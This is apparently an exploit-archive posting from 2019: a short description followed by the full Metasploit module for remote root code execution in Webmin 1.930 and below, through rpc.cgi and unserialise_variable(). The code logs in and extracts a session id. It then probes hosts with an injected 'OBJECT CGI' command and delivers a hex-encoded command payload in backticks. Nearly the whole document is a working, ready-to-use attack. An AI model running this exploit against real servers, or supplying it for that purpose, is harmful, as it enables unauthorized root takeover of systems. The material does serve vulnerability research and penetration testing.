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Webmin 1.920 rpc.cgi Remote Root

Webmin 1.920 rpc.cgi Remote Root
Posted Sep 2, 2019
Authored by James Bercegay

This Metasploit module exploits Webmin versions 1.930 and below. This exploit takes advantage of a code execution issue within the function unserialise_variable() located in web-lib-funcs.pl, in order to gain root. The only prerequisite is a valid session id.

tags | exploit, web, root, code execution
SHA-256 | a204c6065da489d3ae9470a7346273b6cabd6fe1e769d74907481d037f95676d

Webmin 1.920 rpc.cgi Remote Root

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Webmin < 1.930 Remote Code Execution",
'Description' => %q{
This exploit takes advantage of a code execution issue within the function
unserialise_variable() located in web-lib-funcs.pl, in order to gain root.
The only prerequisite is a valid session id.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Bercegay', # Vulnerability Discovery
],
'References' =>
[
[ 'URL', 'https://www.gulftech.org/' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2019/08/30',
'DefaultTarget' => 0))

register_options(
[
OptString.new('WMPORT', [ true, "Webmin port", '10000']),
OptString.new('WMUSER', [ true, "Webmin username", 'test']),
OptString.new('WMPASS', [ true, "Webmin password", 'test']),
])
end

def check

# Set Webmin port
datastore['RPORT'] = datastore['WMPORT']

# Verbose
print_status("Attempting to login")

# Send login request
res = send_request_cgi(
{
'uri' => '/session_login.cgi',
'method' => 'POST',
'vars_post' =>
{
'user' => datastore['WMUSER'],
'pass' => datastore['WMPASS'],
'save' => '1'
},
'cookie' => "redirect=1; testing=1; sessiontest=1;"
})

# If succesful cookie will be set
if ( res and res.headers['Set-Cookie'] )
# Do we have a valid SID?
if ( /sid=/.match(res.headers['Set-Cookie']) )
# Extract the SID
sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1]
print_good("Login was successful")
else
# No dice
print_bad("Unable to login")
return Exploit::CheckCode::Safe
end
else
# No dice
print_bad("Unexpected response")
return Exploit::CheckCode::Safe
end

# Verbose
print_status("Checking if host is vulnerable")

# Try to execute arbitrary code
res = send_request_cgi({
'uri' => '/rpc.cgi',
'method' => 'POST',
'headers' =>
{
'Referer' => 'http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s
},
'data' => 'OBJECT CGI;print "Content-Type: text/metasploit\n\n"',
'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid
})

# If it works our custom Content-Type will be set
if ( res.headers['Content-Type'] and res.headers['Content-Type'] == "text/metasploit" )
# Good
return Exploit::CheckCode::Vulnerable
else
# Bad
return Exploit::CheckCode::Safe
end
end

def exploit

# Set Webmin port
datastore['RPORT'] = datastore['WMPORT']

# Verbose
print_status("Attempting to login")

# Send login request
res = send_request_cgi(
{
'uri' => '/session_login.cgi',
'method' => 'POST',
'vars_post' =>
{
'user' => datastore['WMUSER'],
'pass' => datastore['WMPASS'],
'save' => '1'
},
'cookie' => "redirect=1; testing=1; sessiontest=1;"
})

# If succesful cookie will be set
if ( res and res.headers['Set-Cookie'] )
# Do we have a valid SID?
if ( /sid=/.match(res.headers['Set-Cookie']) )
# Extract the SID
sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1]
print_good("Login was successful")
else
# No dice
print_bad("Unable to login")
return
end
else
# No dice
print_bad("Unexpected response")
return
end

# Verbose
print_status("Sending selected payload")

# Hex encode payload to prevent problems with the payload getting mangled
hex = '\x' + payload.encoded.scan(/./).map{ |x| x.unpack('H*') }.join('\x')

# Send selected payload
res = send_request_cgi({
'uri' => '/rpc.cgi',
'method' => 'POST',
'headers' =>
{
'Referer' => 'https://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s
},
'data' => 'OBJECT CGI;`' + hex + '`',
'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid
})
end
end
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